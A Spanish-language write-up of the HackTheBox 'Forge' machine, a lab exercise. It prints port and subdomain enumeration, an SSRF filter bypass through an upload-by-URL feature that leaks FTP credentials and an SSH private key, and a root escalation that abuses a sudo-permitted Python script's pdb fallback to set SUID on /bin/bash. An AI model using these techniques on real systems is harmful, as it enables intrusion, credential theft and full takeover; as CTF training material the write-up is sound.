Forge es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Forge 10.10.11.111 a /etc/hosts como forge.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.92 scan initiated Fri Dec 24 10:08:48 2021 as: nmap -sV -sC -Pn -oA enumeration/nmap 10.10.11.111 Nmap scan report for forge.htb (10.10.11.111) Host is up (0.044s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA) | 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA) |_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Gallery |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 24 10:08:59 2021 -- 1 IP address (1 host up) scanned in 11.12 seconds |
En este caso observamos un puerto 21 para el servicio ftp, para el cual no tenemos acceso, un puerto 22 para ssh para el cual no disponemos de credenciales y un puerto 80 con un portal web, que será nuestro punto de partida a continuación.
Enumeración
Como indicábamos vamos a comenzar por el portal web en el puerto 80 donde vemos la siguiente pantalla
Vemos una página simple con un enlace a una página de subida de imágenes
Hacemos una prueba de subir una reverse shell pero sin éxito así que vamos a seguir con el proceso de enumeración.
Buscamos por dos partes, en primer lugar enumeramos directorios con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ gobuster dir -u http://forge.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://forge.htb/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/24 10:20:07 Starting gobuster in directory enumeration mode =============================================================== /uploads (Status: 301) [Size: 224] [--> http://forge.htb/uploads/] /static (Status: 301) [Size: 307] [--> http://forge.htb/static/] /upload (Status: 200) [Size: 929] =============================================================== 2021/12/24 10:18:04 Finished =============================================================== |
No vemos nada relevante, y debido a que gobuster saca demasiados falsos positivos, utilizaremos ffuf para enumerar subdominios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u http://forge.htb/ -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.forge.htb" -t 200 -fl 10 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://forge.htb/ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.forge.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response lines: 10 ________________________________________________ admin [Status: 200, Size: 27, Words: 4, Lines: 2] ADMIN [Status: 200, Size: 27, Words: 4, Lines: 2] :: Progress: [114532/114532] :: Job [1/1] :: 4187 req/sec :: Duration: [0:00:40] :: Errors: 0 :: |
Y descubrimos un subdominio nuevo que añadimos en nuestro fichero hosts, aunque acceder a través del navegador parece que no es la forma correcta
Viendo que no podemos hacer nada, tratamos de hacerlo a través de la sección de subida de imágenes por url pero devuelve errores con las direcciones locales o con admin.forge.htb
Así que hacemos algunas pruebas y conseguimos saltar la restricción colocando el nombre en mayúsculas
A través del navegador parece que no tenemos éxito ya que internamente intenta cargar una imagen, así que hacemos un curl a la url generada y obtenemos lo siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ curl http://forge.htb/uploads/ikYqVw2PPZCgeAPPDzab <!DOCTYPE html> <html> <head> <title>Admin Portal</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br><br> <br><br><br><br> <center><h1>Welcome Admins!</h1></center> </body> </html> |
Observamos una uri nueva /announcements así que vamos a repetir el proceso añadiendo esta uri
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ curl http://forge.htb/uploads/Mg4fSDQeQc6Vga0rk5mY <!DOCTYPE html> <html> <head> <title>Announcements</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <link rel="stylesheet" type="text/css" href="/static/css/announcements.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br> <ul> <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li> <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li> <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li> </ul> </body> </html> |
Esto ya va cogiendo forma, conseguimos las credenciales de ftp y también información de como acceder
1 2 |
The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url. The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>. |
Así que siguiendo la explicación accederemos al ftp a través de la subida por url con el siguiente formato
1 |
http://ADMIN.FORGE.HTB/upload?u=ftp://user:password@host |
Y conseguimos enumerar la home del usuario user
1 2 3 |
$ curl http://forge.htb/uploads/oQ2NN93hnnKaqM2XHCFx drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap -rw-r----- 1 0 1000 33 Dec 24 09:05 user.txt |
Tratamos de intentar obtener la clave ssh del usuario y vemos que la misma existe
1 2 3 4 |
$ curl http://forge.htb/uploads/64bdgrbSMYkSKNeDo6x6 -rw------- 1 1000 1000 564 May 31 2021 authorized_keys -rw------- 1 1000 1000 2590 May 20 2021 id_rsa -rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub |
Así que haremos una última petición para obtenerla
1 2 3 4 5 6 7 8 |
$ curl http://forge.htb/uploads/rY1se4j4PDYke5B7SVNG -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3 ... ... shlLupso7WoS0AAAAKdXNlckBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- |
Ahora que tenemos la clave, accedemos por ssh y estamos dentro de la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh -i user.pem user@forge.htb The authenticity of host 'forge.htb (10.10.11.111)' can't be established. ECDSA key fingerprint is SHA256:e/qp97tB7zm4r/sMgxwxPixH0d4YFnuB6uKn1GP5GTw. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forge.htb,10.10.11.111' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 24 Dec 2021 09:52:01 AM UTC System load: 0.0 Processes: 226 Usage of /: 44.4% of 6.82GB Users logged in: 0 Memory usage: 32% IPv4 address for eth0: 10.10.11.111 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6 user@forge:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@forge:~$ |
Obteniendo la flag de user
Una vez dentro de la máquina sólo nos queda obtener la flag del usuario user
1 2 3 4 5 6 7 |
user@forge:~$ ls -l total 8 drwxr-xr-x 3 user user 4096 Aug 4 19:23 snap -rw-r----- 1 root user 33 Dec 24 09:05 user.txt user@forge:~$ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxx0 user@forge:~$ |
Escalado de privilegios
Revisaremos en primer lugar los permisos que tiene el usuario
1 2 3 4 5 6 |
user@forge:~$ sudo -l Matching Defaults entries for user on forge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py |
Y observamos que tiene permisos para ejecutar como sudo el script /opt/remote-manage.py cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/usr/bin/env python3 import socket import random import subprocess import pdb port = random.randint(1025, 65535) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', port)) sock.listen(1) print(f'Listening on localhost:{port}') (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ') if clientsock.recv(1024).strip().decode() != 'secretadminpassword': clientsock.send(b'Wrong password!\n') else: clientsock.send(b'Welcome admin!\n') while True: clientsock.send(b'\nWhat do you wanna do: \n') clientsock.send(b'[1] View processes\n') clientsock.send(b'[2] View free memory\n') clientsock.send(b'[3] View listening sockets\n') clientsock.send(b'[4] Quit\n') option = int(clientsock.recv(1024).strip()) if option == 1: clientsock.send(subprocess.getoutput('ps aux').encode()) elif option == 2: clientsock.send(subprocess.getoutput('df').encode()) elif option == 3: clientsock.send(subprocess.getoutput('ss -lnt').encode()) elif option == 4: clientsock.send(b'Bye\n') break except Exception as e: print(e) pdb.post_mortem(e.__traceback__) finally: quit() |
Si vemos el código y lo analizamos obtenemos un fallo en el mismo, en la línea
1 |
option = int(clientsock.recv(1024).strip()) |
Carga el valor introducido como un entero, pero no hay ninguna excepción que controle si realmente se ha introducido ese tipo de valor o no, así que vamos a tratar de explotarla de esa forma.
Ejecutamos en primer lugar el script
1 2 |
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:5109 |
Y, en otra ventana, conectamos al puerto que abre con netcat
1 2 3 4 5 6 7 8 9 |
user@forge:~$ nc localhost 5109 Enter the secret passsword: secretadminpassword Welcome admin! What do you wanna do: [1] View processes [2] View free memory [3] View listening sockets [4] Quit |
Si llegados a este punto en lugar de introducir un valor entero introducimos por ejemplo el carácter ‘a’ devolverá un error y nos dará una terminal en python
1 2 3 4 5 6 |
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:13253 invalid literal for int() with base 10: b'a' > /opt/remote-manage.py(27)<module>() -> option = int(clientsock.recv(1024).strip()) (Pdb) |
En este caso, nosotros le damos permisos de suid al ejecutable de bash, aunque hay más formas de poder hacer esta explotación
1 2 3 4 |
(Pdb) import os (Pdb) os.system('chmod u+s /bin/bash') 0 (Pdb) exit |
Una vez hecho, cerramos y lanzamos bash para escalar a root
1 2 3 |
user@forge:~$ /bin/bash -p bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Obteniendo la flag de root
Ahora que somos root, sólo nos queda obtener la flag
1 2 3 4 5 |
bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) bash-5.0# cat /root/root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace